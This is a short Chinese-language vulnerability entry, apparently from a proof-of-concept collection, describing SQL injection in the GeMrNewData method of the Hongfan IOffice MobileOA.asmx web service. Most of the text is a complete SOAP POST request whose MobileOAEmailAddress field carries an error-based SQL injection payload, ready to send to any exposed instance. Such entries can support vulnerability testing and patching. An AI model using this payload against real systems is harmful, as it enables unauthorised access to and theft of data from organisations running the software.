漏洞描述
红帆 IOffice 是一款企业办公自动化系统。该漏洞存在于 /iOffice/prg/set/wss/MobileOA.asmx 接口的 GeMrNewData 方法中,攻击者可以通过构造恶意的 SQL 语句注入参数 MobileOAEmailAddress,从而获取数据库中的敏感信息或执行其他恶意操作。
POST /iOffice/prg/set/wss/MobileOA.asmx HTTP/1.1
Content-Type: text/xml; charset=utf-8
Host:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GeMrNewData xmlns="http://tempuri.org/">
<MobileOAEmailAddress>' AND 5079 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5079=5079) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(98)+CHAR(113)))-- eqJq</MobileOAEmailAddress>
</GeMrNewData>
</soap:Body>
</soap:Envelope>